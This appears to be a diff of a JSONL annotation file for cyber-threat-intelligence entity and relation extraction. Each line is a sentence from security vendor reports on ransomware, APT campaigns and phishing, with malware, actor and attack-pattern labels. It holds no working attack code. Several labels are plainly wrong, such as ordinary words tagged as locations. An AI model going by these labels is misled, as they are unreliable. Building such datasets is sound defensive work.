-{"id":863,"text":"They’ve certainly caused a wealth of damage to end users with some of the more prominent malware families, such as CryptoLocker, CryptoWall, TorrentLocker, and TeslaCrypt infecting millions of users overall.","entities":[{"id":46398,"label":"malware","start_offset":160,"end_offset":170},{"id":46399,"label":"malware","start_offset":141,"end_offset":154},{"id":46400,"label":"malware","start_offset":129,"end_offset":139},{"id":46401,"label":"malware","start_offset":115,"end_offset":128}],"relations":[],"Comments":[]}
-{"id":864,"text":" For readers that might be unfamiliar with ransomware, it’s a type of malware that is responsible for encrypting a user’s files with a key known only to the attackers.","entities":[],"relations":[],"Comments":[]}
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-{"id":870,"text":"It used a simple XOR encryption routine with a static key, allowing victims to easily recover their files without paying a ransom.","entities":[],"relations":[],"Comments":[]}
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+{"id":1373,"text":"Stage1.exe purports to be ransomware, as it overwrites the target\u2019s master boot record with 512 bytes and upon reboot displays the following ransom note:  Stage2.exe is a beaconing implant that performs an HTTPS connection to download a JPG file hosted on Discord\u2019s content delivery network (CDN).","entities":[{"id":46706,"label":"FILEPATH","start_offset":155,"end_offset":165},{"id":46707,"label":"Infrastucture","start_offset":256,"end_offset":296},{"id":46705,"label":"FILEPATH","start_offset":0,"end_offset":10}],"relations":[{"id":213,"from_id":46706,"to_id":46707,"type":"beacons-to"}],"Comments":[]}
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+{"id":4247,"text":"The TForm object often has two TTimer objects \u2014 but sometimes we have seen one or even three of these objects \u2014 usually with random names.","entities":[],"relations":[],"Comments":[]}
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+{"id":5667,"text":"While analyzing Glupteba binaries, our team identified a few containing a git repository URL: \u201cgit.voltronwork.com\u201d.","entities":[{"id":17456,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
+{"id":4429,"text":"When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.","entities":[],"relations":[],"Comments":[]}
+{"id":3460,"text":"It can, in turn, prolong the campaign\u2019s foothold in the system and enable attackers to carry out further lateral movement.","entities":[{"id":49250,"label":"attack-pattern","start_offset":105,"end_offset":121}],"relations":[],"Comments":[]}
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+{"id":2756,"text":"Bash should stop processing the environment variable \u201cx\u201d after the closing semicolon for the function, but instead continues to process \u201cecho vulnerable\u201d.","entities":[],"relations":[],"Comments":[]}
+{"id":3865,"text":"The suspect communication allows us to detect the traffic.","entities":[],"relations":[],"Comments":[]}
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+{"id":4025,"text":"We expand on these techniques and other capabilities in the following sections.","entities":[],"relations":[],"Comments":[]}
+{"id":1055,"text":"In simplest terms, this vulnerability could be used to take control of devices, lock devices and steal information after it is attacked.","entities":[{"id":46545,"label":"attack-pattern","start_offset":55,"end_offset":78},{"id":46547,"label":"attack-pattern","start_offset":80,"end_offset":92},{"id":46546,"label":"attack-pattern","start_offset":97,"end_offset":114}],"relations":[],"Comments":[]}
+{"id":13490,"text":"Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.","entities":[],"relations":[],"Comments":[]}
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+{"id":6549,"text":"They once attacked a game server to illicitly farm in-game currency (\u201cgaming gold\u201d, which also has real-world value) and stole source codes of online game projects.","entities":[{"id":20301,"label":"location","start_offset":70,"end_offset":76},{"id":20302,"label":"location","start_offset":77,"end_offset":81},{"id":20303,"label":"location","start_offset":99,"end_offset":103},{"id":20304,"label":"location","start_offset":104,"end_offset":109},{"id":20305,"label":"location","start_offset":117,"end_offset":120},{"id":20306,"label":"attack-pattern","start_offset":127,"end_offset":133}],"relations":[],"Comments":[]}
+{"id":13661,"text":"While the techniques aren\u2019t new, the attack attempts appear to be successful, collecting over 800 credentials from company executives at the time of writing.","entities":[],"relations":[],"Comments":[]}
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+{"id":4637,"text":" HYPERSCRAPE requires the victim\u2019s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.","entities":[{"id":50557,"label":"malware","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
+{"id":2930,"text":"And these are all notable and sobering.","entities":[],"relations":[],"Comments":[]}
+{"id":8020,"text":"We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":24868,"label":"location","start_offset":10,"end_offset":14},{"id":24869,"label":"location","start_offset":89,"end_offset":95},{"id":24870,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]}
+{"id":3994,"text":"To learn more about overlooked risks associated with supply chain and smart factories, read our expert team's proof of concept paper, \"Forward-looking security analysis of smart factories\".","entities":[],"relations":[],"Comments":[]}
+{"id":4788,"text":"The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.","entities":[{"id":50688,"label":"identity","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
+{"id":4957,"text":"If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.","entities":[],"relations":[],"Comments":[]}
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+{"id":9089,"text":"How did Lurk evolve from a clique of threat actors to a full-fledged cybercriminal group?","entities":[],"relations":[],"Comments":[]}
+{"id":2450,"text":" Table 1. Parameters used by webshells seen in hits on \"Spring Core Remote Code Execution Vulnerability\" signature.","entities":[{"id":47518,"label":"vulnerability","start_offset":56,"end_offset":103},{"id":47519,"label":"attack-pattern","start_offset":29,"end_offset":38}],"relations":[],"Comments":[]}
+{"id":4228,"text":"If the victim seemingly comes from a different country, the program will self-delete and quit.","entities":[],"relations":[],"Comments":[]}
+{"id":3594,"text":"Analysis of some of the captured samples reveals the different payloads being used (as shown in the table below).","entities":[],"relations":[],"Comments":[]}
+{"id":246,"text":"  We found a cybersquatting domain \u2013 save-russia[.]today \u2013 that is launching DoS attacks on Ukrainian news sites.","entities":[{"id":44652,"label":"attack-pattern","start_offset":13,"end_offset":27},{"id":44653,"label":"DOMAIN","start_offset":37,"end_offset":56},{"id":44654,"label":"attack-pattern","start_offset":77,"end_offset":88},{"id":44655,"label":"identity","start_offset":92,"end_offset":112}],"relations":[{"id":8,"from_id":44653,"to_id":44655,"type":"targets"},{"id":112,"from_id":44652,"to_id":44653,"type":"uses"},{"id":113,"from_id":44654,"to_id":44653,"type":"uses"}],"Comments":[]}
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+{"id":7725,"text":"Figure 13.","entities":[],"relations":[],"Comments":[]}
+{"id":2408,"text":"Background on Exploitation of the Class Loader Establishing a Reverse Shell Connection to a Remote Server on the Compromised Server SpringShell Exploit Observed in the Wild Conclusion","entities":[{"id":47488,"label":"vulnerability","start_offset":132,"end_offset":143},{"id":47487,"label":"attack-pattern","start_offset":47,"end_offset":86}],"relations":[],"Comments":[]}
+{"id":1601,"text":"There\u2019s no mention of a premium SMS service in the description, but a review of the permissions reveals that the program will have complete access to SMS messages.","entities":[],"relations":[],"Comments":[]}
+{"id":2060,"text":"Figure 17. Snippet of Script in HTML Source Code xn--90a5ai[.]comFrom the list of aliases used by the threat actor","entities":[{"id":47153,"label":"DOMAIN","start_offset":49,"end_offset":65}],"relations":[],"Comments":[]}
+{"id":13610,"text":"In this example, AdobeAirFlashInstaller.exe (legitimate file) sideloads xerces-c_2_1_0.dll (patched legitimate file), which then sideloads ulibs.dll (malicious file).","entities":[{"id":51698,"label":"FILEPATH","start_offset":139,"end_offset":148},{"id":51696,"label":"FILEPATH","start_offset":17,"end_offset":43},{"id":51697,"label":"FILEPATH","start_offset":72,"end_offset":90}],"relations":[{"id":1136,"from_id":51696,"to_id":51697,"type":"related-to"},{"id":1137,"from_id":51697,"to_id":51698,"type":"related-to"}],"Comments":[]}
+{"id":4117,"text":"Without knowing the traffic between SmileSvr and C&C server, we could not fully understand all functions.","entities":[],"relations":[],"Comments":[]}
+{"id":5807,"text":"Right.","entities":[],"relations":[],"Comments":[]}
+{"id":462,"text":" In the past, attackers would maintain a static list of malicious domains; defenders could easily take that list and start blocking and taking down those sites.","entities":[],"relations":[],"Comments":[]}
+{"id":1324,"text":" The following settings are used for command and control:  The malware encrypts network communication using the AES128 encryption cipher.","entities":[],"relations":[],"Comments":[]}
+{"id":4854,"text":"While investigating a 2017 credential phishing campaign that targeted a prominent Russian anti-corruption journalist, we discovered the Russian attacker targeting other journalists, politicians across Europe, and various NGOs and non-profit organizations.","entities":[{"id":50833,"label":"TIME","start_offset":22,"end_offset":26},{"id":50835,"label":"location","start_offset":201,"end_offset":207},{"id":50834,"label":"campaign","start_offset":27,"end_offset":55},{"id":50836,"label":"identity","start_offset":213,"end_offset":254}],"relations":[],"Comments":[]}
+{"id":3771,"text":"Palo Alto Networks is still actively investigating a number of the aforementioned vulnerabilities, many of which do not have publicly available exploit code.","entities":[{"id":49604,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
+{"id":10997,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[],"relations":[],"Comments":[]}
+{"id":7601,"text":"Extracted files  Figure 13.","entities":[],"relations":[],"Comments":[]}
+{"id":2257,"text":"It was most likely used to establish a foothold, perform reconnaissance and deploy further malware into the victim\u2019s network.","entities":[],"relations":[],"Comments":[]}
+{"id":1512,"text":" When run if the filename does not include the \"IptabLes\" string then the data is decrypted, written to disk, and then executed, installing itself as a startup service on the machine and place itself in one of the following locations:  The second encrypted block is configuration data, which includes some IP addresses and DNS data which is used when it writes the first decrypted block to a file.","entities":[],"relations":[],"Comments":[]}
+{"id":2144,"text":"The use of this technique appeared to allow attackers to bypass local Office macro policies to execute code within the context of Word.","entities":[{"id":47277,"label":"SOFTWARE","start_offset":130,"end_offset":134}],"relations":[],"Comments":[]}
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+{"id":2880,"text":"Similarities in each of these exploits indicate that they may have been created by the same author.","entities":[],"relations":[],"Comments":[]}
+{"id":5168,"text":"By Federico Maggi, Rainer Vosseler (Trend Micro Research), Mars Cheng, Patrick Kuo, Chizuru Toyama, Ta-Lun Yen (TXOne Networks), Erik Boasson (ADLINK), and Victor Mayoral Vilches (Alias Robotics)","entities":[{"id":51226,"label":"identity","start_offset":129,"end_offset":141},{"id":51222,"label":"identity","start_offset":71,"end_offset":82},{"id":51224,"label":"identity","start_offset":100,"end_offset":110},{"id":51218,"label":"identity","start_offset":3,"end_offset":17},{"id":51220,"label":"identity","start_offset":36,"end_offset":56},{"id":51221,"label":"identity","start_offset":59,"end_offset":69},{"id":51223,"label":"identity","start_offset":84,"end_offset":98},{"id":51225,"label":"identity","start_offset":112,"end_offset":126},{"id":51227,"label":"identity","start_offset":143,"end_offset":149},{"id":51219,"label":"identity","start_offset":19,"end_offset":34},{"id":51228,"label":"identity","start_offset":156,"end_offset":178},{"id":51229,"label":"identity","start_offset":180,"end_offset":194}],"relations":[],"Comments":[]}
+{"id":4983,"text":"This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.","entities":[{"id":51040,"label":"SOFTWARE","start_offset":40,"end_offset":46},{"id":51041,"label":"SOFTWARE","start_offset":74,"end_offset":89}],"relations":[],"Comments":[]}
+{"id":11275,"text":"Trend Micro Vision One\u2122 is very effective at identifying the various techniques threat actors use to discover credentials.","entities":[],"relations":[],"Comments":[]}
+{"id":5279,"text":"Cyclops Blink, an advanced modular botnet that is reportedly linked to the Sandworm or Voodoo Bear advanced persistent threat (APT) group, has recently been used to target WatchGuard Firebox devices according to an analysis performed by the UK\u2019s National Cyber Security Centre (NCSC).","entities":[{"id":51322,"label":"malware","start_offset":0,"end_offset":13},{"id":51324,"label":"threat-actor","start_offset":87,"end_offset":98},{"id":51323,"label":"threat-actor","start_offset":75,"end_offset":83},{"id":51325,"label":"identity","start_offset":241,"end_offset":283}],"relations":[{"id":1078,"from_id":51324,"to_id":51323,"type":"duplicate-of"},{"id":1079,"from_id":51322,"to_id":51323,"type":"related-to"}],"Comments":[]}
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+{"id":3444,"text":" Until you can install the patched versions of BIG-IP, see the Mitigation section on the F5 security advisory for information on how to mitigate this vulnerability via a workaround to limit the vulnerable component to trusted networks.  In response to the F5 security advisory, Palo Alto Networks released the Threat Prevention signature F5 BIG-IP Authentication Bypass Vulnerability (92570) on May 9.","entities":[{"id":49218,"label":"TIME","start_offset":395,"end_offset":400},{"id":49213,"label":"tools","start_offset":47,"end_offset":53},{"id":49215,"label":"identity","start_offset":256,"end_offset":258},{"id":49216,"label":"identity","start_offset":278,"end_offset":296},{"id":49217,"label":"vulnerability","start_offset":338,"end_offset":391},{"id":49214,"label":"identity","start_offset":89,"end_offset":91}],"relations":[],"Comments":[]}
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+{"id":199,"text":"These messages were likely intended to cause alarm among the population, as they claimed that ATMs were malfunctioning.","entities":[],"relations":[],"Comments":[]}
+{"id":5665,"text":"For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.","entities":[{"id":17451,"label":"location","start_offset":16,"end_offset":20},{"id":17453,"label":"malware","start_offset":70,"end_offset":78},{"id":17454,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
+{"id":13102,"text":" Securing the future  Trend Micro also recently started looking at the security of the Data Distribution Service (DDS).","entities":[],"relations":[],"Comments":[]}
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+{"id":4843,"text":"For example, TAG has observed Indian hack-for-hire firms work with third party private investigative services \u2014 intermediaries that reach out for services when a client requires them \u2014 and provide data exfiltrated from a successful operation.","entities":[{"id":50800,"label":"location","start_offset":30,"end_offset":36},{"id":50801,"label":"attack-pattern","start_offset":37,"end_offset":50},{"id":50799,"label":"identity","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
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+{"id":13073,"text":"Upon further investigation, they found that usernames, email addresses, salted and hashed passwords, nicknames, preferred languages, countries and time zones had been compromised.","entities":[],"relations":[],"Comments":[]}
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+{"id":14066,"text":"Figure 8 shows the partial source code for this JavaScript.","entities":[],"relations":[],"Comments":[]}
+{"id":1543,"text":" Sofacy Group has been associated with many attacks against targets around the world, including the International Olympic Committee (IOC) in 2018, the World Anti-Doping Agency in 2016, the Dutch Safety Board in 2015, and German, French, Ukrainian, and Dutch political and military targets throughout 2014 through 2018.","entities":[{"id":46818,"label":"location","start_offset":221,"end_offset":227},{"id":46819,"label":"location","start_offset":229,"end_offset":235},{"id":46820,"label":"location","start_offset":237,"end_offset":246},{"id":46822,"label":"identity","start_offset":151,"end_offset":175},{"id":46812,"label":"identity","start_offset":100,"end_offset":137},{"id":46813,"label":"TIME","start_offset":141,"end_offset":145},{"id":46814,"label":"TIME","start_offset":300,"end_offset":304},{"id":46816,"label":"TIME","start_offset":179,"end_offset":183},{"id":46821,"label":"location","start_offset":252,"end_offset":257},{"id":46823,"label":"identity","start_offset":189,"end_offset":207},{"id":46824,"label":"identity","start_offset":258,"end_offset":288},{"id":46811,"label":"threat-actor","start_offset":1,"end_offset":13},{"id":46815,"label":"TIME","start_offset":313,"end_offset":317},{"id":46817,"label":"TIME","start_offset":211,"end_offset":215}],"relations":[{"id":231,"from_id":46811,"to_id":46812,"type":"targets"},{"id":232,"from_id":46811,"to_id":46822,"type":"targets"},{"id":233,"from_id":46811,"to_id":46823,"type":"targets"},{"id":234,"from_id":46811,"to_id":46824,"type":"targets"},{"id":236,"from_id":46824,"to_id":46818,"type":"located-at"},{"id":237,"from_id":46824,"to_id":46819,"type":"located-at"},{"id":238,"from_id":46824,"to_id":46820,"type":"located-at"},{"id":239,"from_id":46824,"to_id":46821,"type":"located-at"}],"Comments":[]}
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+{"id":886,"text":" Throughout the runtime of PClock2, it makes multiple HTTP POST requests to a remote server using the same characteristics, including the \u2018PO[TID]\u2019 and the current time.","entities":[{"id":46416,"label":"malware","start_offset":27,"end_offset":34}],"relations":[],"Comments":[]}
+{"id":12881,"text":"We don\u2019t just tell you these individual events have all occurred \u2013 we connect the dots for you, showing that they might be related and have similar indicators of compromise as a certain attack group or type.","entities":[{"id":40123,"label":"identity","start_offset":9,"end_offset":13},{"id":40124,"label":"location","start_offset":14,"end_offset":18},{"id":40125,"label":"location","start_offset":131,"end_offset":134},{"id":40126,"label":"location","start_offset":202,"end_offset":206}],"relations":[],"Comments":[]}
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+{"id":13065,"text":"Once any of these malware strains are detected, system administrators should drop everything, take systems offline, and audit and remove the malware as a top priority.","entities":[],"relations":[],"Comments":[]}
+{"id":5457,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":3184,"text":"     Figure 1. The login panel of BIOPASS RAT       Figure 2. Code showing the watering hole attack injection     The injected script will try to scan the affected host by sending HTTP requests to a list of ports.","entities":[{"id":48313,"label":"malware","start_offset":34,"end_offset":45}],"relations":[],"Comments":[]}
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+{"id":6687,"text":"We have not been able to independently determine how these attacks were conducted.","entities":[],"relations":[],"Comments":[]}
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+{"id":10080,"text":"This backdoor provided the attacker with complete access to the targeted organization\u2019s network.","entities":[],"relations":[],"Comments":[]}
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+{"id":5052,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[{"id":51140,"label":"identity","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
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+{"id":12930,"text":"Another added element this year which deserves a special mention was the introduction of a Linux servers, where we detected all 14 techniques executed in the simulated attack scenario.","entities":[],"relations":[],"Comments":[]}
+{"id":12996,"text":"The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and\/or DOCs hosted on Google Drive and Microsoft One Drive.","entities":[{"id":40478,"label":"location","start_offset":32,"end_offset":35},{"id":40479,"label":"attack-pattern","start_offset":111,"end_offset":119},{"id":40481,"label":"location","start_offset":208,"end_offset":211}],"relations":[],"Comments":[]}
+{"id":1158,"text":" The third is likely due to the lack of overlap between mutex names.","entities":[],"relations":[],"Comments":[]}
+{"id":3010,"text":"Here again, taking time to set up good strong passwords is key.","entities":[],"relations":[],"Comments":[]}
+{"id":2791,"text":" Security products that take a comprehensive, layered approach can help prevent these attacks.","entities":[],"relations":[],"Comments":[]}
+{"id":4211,"text":" Figure 1: fake website with a link to download the Fuddi Duniya app.","entities":[{"id":50025,"label":"malware","start_offset":52,"end_offset":64}],"relations":[],"Comments":[]}
+{"id":1050,"text":"Since Android 8.0 is a relatively recent release, this means that nearly all Android users should take action today and apply updates that are available to address this vulnerability.","entities":[{"id":44924,"label":"SOFTWARE","start_offset":6,"end_offset":17},{"id":44925,"label":"SOFTWARE","start_offset":77,"end_offset":84}],"relations":[],"Comments":[]}
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+{"id":6019,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[{"id":18573,"label":"tools","start_offset":61,"end_offset":67},{"id":18574,"label":"location","start_offset":68,"end_offset":71},{"id":18575,"label":"location","start_offset":72,"end_offset":80},{"id":18576,"label":"location","start_offset":94,"end_offset":97},{"id":18577,"label":"location","start_offset":122,"end_offset":126},{"id":18578,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
+{"id":103,"text":"As you can see from the above diagram, all of these are end goals for most attacks.","entities":[],"relations":[],"Comments":[]}
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+{"id":4546,"text":"Google\u2019s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine.","entities":[{"id":50338,"label":"identity","start_offset":0,"end_offset":36},{"id":50339,"label":"location","start_offset":99,"end_offset":113},{"id":50340,"label":"location","start_offset":140,"end_offset":147}],"relations":[],"Comments":[]}
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+{"id":2484,"text":"In addition to our threat prevention signatures, we analyzed the alerts triggered in Cortex XDR and found 116 events between April 4 and April 8.","entities":[{"id":45534,"label":"SOFTWARE","start_offset":85,"end_offset":95},{"id":45536,"label":"TIME","start_offset":137,"end_offset":144},{"id":45535,"label":"TIME","start_offset":125,"end_offset":132}],"relations":[],"Comments":[]}
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+{"id":1630,"text":"Additional \u201cfun app\u201d applications, all contain the Funtasy Trojan.","entities":[{"id":46855,"label":"identity","start_offset":12,"end_offset":19},{"id":46856,"label":"malware","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
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+{"id":14088,"text":"Figure 11 shows a comparison of the exfiltration commands between malware previously attributed to APT37 and Operation Earth Kitsune.","entities":[{"id":48168,"label":"threat-actor","start_offset":99,"end_offset":105},{"id":48169,"label":"campaign","start_offset":109,"end_offset":132}],"relations":[],"Comments":[]}
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+{"id":10837,"text":"The handler for MSG_SYNC executes the following functionality: First, it enumerates all files under <DIR>\/.android\/.lib2.","entities":[],"relations":[],"Comments":[]}
+{"id":8369,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.","entities":[],"relations":[],"Comments":[]}
+{"id":11797,"text":"One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.","entities":[{"id":36381,"label":"location","start_offset":11,"end_offset":15},{"id":36383,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]}
+{"id":12720,"text":"This is known as the principle of least privilege.","entities":[],"relations":[],"Comments":[]}
+{"id":3621,"text":"The idea is that by chance some percentage of the phishing emails will look legitimate enough to the recipient to be successful.","entities":[{"id":49406,"label":"attack-pattern","start_offset":50,"end_offset":65}],"relations":[],"Comments":[]}
+{"id":1455,"text":" Unfortunately, during our study of apps posted in the Google Play Store we collected approximately 246,000 Android apps but only 11,681 certificates.","entities":[{"id":45020,"label":"SOFTWARE","start_offset":55,"end_offset":72},{"id":45021,"label":"SOFTWARE","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]}
+{"id":3998,"text":"According to CISA, the APT actor is accountable for the compromise of the SolarWinds Orion supply chain.","entities":[{"id":49854,"label":"identity","start_offset":13,"end_offset":17},{"id":49855,"label":"SOFTWARE","start_offset":74,"end_offset":91}],"relations":[],"Comments":[]}
+{"id":9255,"text":" This year\u2019s evaluation saw vendors detect and respond to tactics, techniques, and procedures (TTPs) from two emulated adversary scenarios that are broadly defining modern ransomware today \u2014 Wizard Spider, a cybercriminal extortion gang, and Sandworm, a disruptive threat group focused on data destruction.","entities":[{"id":28588,"label":"location","start_offset":43,"end_offset":46},{"id":28589,"label":"location","start_offset":79,"end_offset":82},{"id":28591,"label":"location","start_offset":144,"end_offset":147},{"id":28593,"label":"threat-actor","start_offset":191,"end_offset":204},{"id":28594,"label":"location","start_offset":238,"end_offset":241},{"id":28595,"label":"threat-actor","start_offset":242,"end_offset":250}],"relations":[],"Comments":[]}
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+{"id":1692,"text":" How to Defend Against it These malware attacks utilize email phishing, and relies on targets opening the malicious email attachment.","entities":[{"id":45098,"label":"attack-pattern","start_offset":106,"end_offset":132},{"id":45099,"label":"attack-pattern","start_offset":56,"end_offset":70},{"id":5021,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
+{"id":5728,"text":" FreeMilk is an advanced spear phishing attack campaign that, instead of using a theme to lure targets into downloading a malicious attachment, hijacks an in-progress email conversation.","entities":[{"id":17705,"label":"attack-pattern","start_offset":25,"end_offset":39},{"id":17706,"label":"location","start_offset":47,"end_offset":55},{"id":17707,"label":"location","start_offset":90,"end_offset":94},{"id":17708,"label":"location","start_offset":158,"end_offset":166}],"relations":[],"Comments":[]}
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+{"id":5140,"text":"That just makes sense.","entities":[],"relations":[],"Comments":[]}
+{"id":2219,"text":"The downloader then proceeds to execute this downloaded file in a new process.","entities":[],"relations":[],"Comments":[]}
+{"id":7591,"text":"Payload as RMS RAT TA505 also uses RMS, a legitimate RAT, in their campaigns.","entities":[],"relations":[],"Comments":[]}
+{"id":3777,"text":" If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:  As further information or detections are put into place, Palo Alto Networks will update this publication accordingly.","entities":[{"id":49611,"label":"identity","start_offset":92,"end_offset":122},{"id":49612,"label":"identity","start_offset":190,"end_offset":208}],"relations":[],"Comments":[]}
+{"id":1388,"text":" 13. Targeted files greater than one megabyte are truncated to one megabyte when overwritten.","entities":[],"relations":[],"Comments":[]}
+{"id":4324,"text":"If the victim enters any phone number and clicks \u201cSUBMIT,\u201d the text field will be replaced by the message \u201cPhone Number Not Found.\u201d","entities":[],"relations":[],"Comments":[]}
+{"id":1852,"text":"    We also observed the execution of a password recovery tool XenArmor with C:\\temp\\pass\\start.exe.","entities":[{"id":46982,"label":"tools","start_offset":63,"end_offset":71},{"id":46981,"label":"FILEPATH","start_offset":77,"end_offset":99}],"relations":[{"id":282,"from_id":46982,"to_id":46981,"type":"consists-of"}],"Comments":[]}
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+{"id":2327,"text":"Fully decoding the Mach-O was necessary to obtain all the strings representing the dynamically loaded functions used in the binary.","entities":[],"relations":[],"Comments":[]}
+{"id":4581,"text":"While businesses, sporting events, and schools started shutting down, cybercriminals remained active as ever.","entities":[],"relations":[],"Comments":[]}
+{"id":3068,"text":" One interesting difference between this program and other Fake AV apps is \u201cAntiVirus for Android\u2122\u201d will actually provide real antivirus services to paid users.","entities":[{"id":48139,"label":"malware","start_offset":76,"end_offset":98}],"relations":[],"Comments":[]}
+{"id":5419,"text":"By sharing this additional technical observation, we aim to help network defenders, as well as those likely to be targeted by APT groups (such as Sandworm), gain a more complete picture of the Cyclops Blink campaign.","entities":[{"id":51426,"label":"threat-actor","start_offset":146,"end_offset":154},{"id":51427,"label":"campaign","start_offset":193,"end_offset":215}],"relations":[],"Comments":[]}
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+{"id":8601,"text":"We believe this is a technique the attacker is using to evade detection rules.","entities":[],"relations":[],"Comments":[]}
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+{"id":2882,"text":"For example, they all use the Timer object to check if a Vector object is modified.","entities":[],"relations":[],"Comments":[]}
+{"id":540,"text":"Usually, after the ransomware successfully installs, it pops up a message box or leaves text files to explain how to pay the ransom \u2013 the ransom note.","entities":[],"relations":[],"Comments":[]}
+{"id":9328,"text":"IT and security teams should restrict or disable outdated components, and habitually monitor websites and applications for any indicators of suspicious activity that could lead to data exfiltration, execution of unknown scripts, or unauthorized access and modification.","entities":[{"id":28779,"label":"location","start_offset":3,"end_offset":6},{"id":28780,"label":"location","start_offset":7,"end_offset":15},{"id":28781,"label":"location","start_offset":70,"end_offset":73},{"id":28782,"label":"location","start_offset":85,"end_offset":92},{"id":28783,"label":"location","start_offset":102,"end_offset":105},{"id":28784,"label":"threat-actor","start_offset":172,"end_offset":176},{"id":28785,"label":"location","start_offset":252,"end_offset":255}],"relations":[],"Comments":[]}
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+{"id":7628,"text":"Thank you.)","entities":[],"relations":[],"Comments":[]}
+{"id":10642,"text":"Activity on Google services was limited, but we enforced across our products swiftly.","entities":[],"relations":[],"Comments":[]}
+{"id":742,"text":"In the past year alone, Microsoft patched 122 IE vulnerabilities, the majority of which were use-after-free bugs.","entities":[{"id":46334,"label":"identity","start_offset":24,"end_offset":33}],"relations":[],"Comments":[]}
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+{"id":14129,"text":"Figure 15 shows a plot with \u201cY\u201d representing the number of actions.","entities":[],"relations":[],"Comments":[]}
+{"id":13537,"text":"For more information about the OT Defender Fellowship, visit https:\/\/inl.gov\/otdefender\/        Tags  Latest News | ICS OT | APT & Targeted Attacks | IoT | Articles, News, Reports","entities":[{"id":42228,"label":"URL","start_offset":61,"end_offset":88}],"relations":[],"Comments":[]}
+{"id":117,"text":"Utilizing a security platform approach can help build your cloud to be more secure, but educating your architects and administrators will also help.","entities":[],"relations":[],"Comments":[]}
+{"id":8217,"text":"While thanking you for your cooperation, please believe in the assurance of my distinguished feelings.","entities":[],"relations":[],"Comments":[]}
+{"id":12866,"text":"Now that the threat group has been granted access to the organization\u2019s network, they must collect the necessary information needed to complete their objective.","entities":[],"relations":[],"Comments":[]}
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+{"id":6495,"text":"Browser64 is a tool that extracts credentials from the following applications:  Chrome Chromium Firefox Opera Internet Explorer Outlook       Figure 8.","entities":[{"id":20146,"label":"location","start_offset":15,"end_offset":19},{"id":20147,"label":"threat-actor","start_offset":87,"end_offset":95},{"id":20148,"label":"location","start_offset":104,"end_offset":109},{"id":20149,"label":"location","start_offset":128,"end_offset":135}],"relations":[],"Comments":[]}
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+{"id":12060,"text":"Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate \u2013 as they know it's difficult for users to detect this kind of attack.","entities":[{"id":37324,"label":"attack-pattern","start_offset":11,"end_offset":19},{"id":37325,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
+{"id":13930,"text":"The following are the MITRE ATT&CK tactics and techniques associated with DarkSide.","entities":[{"id":48756,"label":"threat-actor","start_offset":74,"end_offset":82}],"relations":[],"Comments":[]}
+{"id":14386,"text":"But more capable, patient, and stealthy attackers are getting better at being evasive, knowing that EDR may be or is deployed.","entities":[],"relations":[],"Comments":[]}
+{"id":956,"text":"   We believe there are different versions of the Taomike SDK and only some of them include SMS uploading behavior.","entities":[{"id":46465,"label":"identity","start_offset":50,"end_offset":57}],"relations":[],"Comments":[]}
+{"id":1417,"text":" The network traffic generated by each Trojan uses the HTTP protocol, and despite its use of port 443, is not encrypted with SSL.","entities":[],"relations":[],"Comments":[]}
+{"id":885,"text":"The \u20181828\u2019 represents the thread ID (TID) of the malware, while the \u2018rnd\u2019 GET variable is randomly generated.","entities":[],"relations":[],"Comments":[]}
+{"id":6486,"text":"We conclude that a tunneling connection to the C&C server could not be established, even after attempts to do so with two different tools.","entities":[],"relations":[],"Comments":[]}
+{"id":7605,"text":"Using Amadey to distribute EmailStealer On April 24, we detected an attack that used Amadey as its first stage payload.","entities":[],"relations":[],"Comments":[]}
+{"id":4937,"text":"APT35 has relied on this technique since 2017 \u2014 targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":50955,"label":"threat-actor","start_offset":0,"end_offset":5},{"id":50956,"label":"TIME","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]}
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+{"id":683,"text":"We\u2019ve seen examples of this just recently, when CVE-2017-11882 was exploited in the wild, paving the way to other exploits like CVE-2018-0802, both of which exploit flaws in the equation editor, enabling attackers to get from the user opening an Office document to remote code execution.","entities":[{"id":46259,"label":"vulnerability","start_offset":48,"end_offset":62},{"id":46260,"label":"vulnerability","start_offset":128,"end_offset":141},{"id":46261,"label":"SOFTWARE","start_offset":178,"end_offset":193}],"relations":[],"Comments":[]}
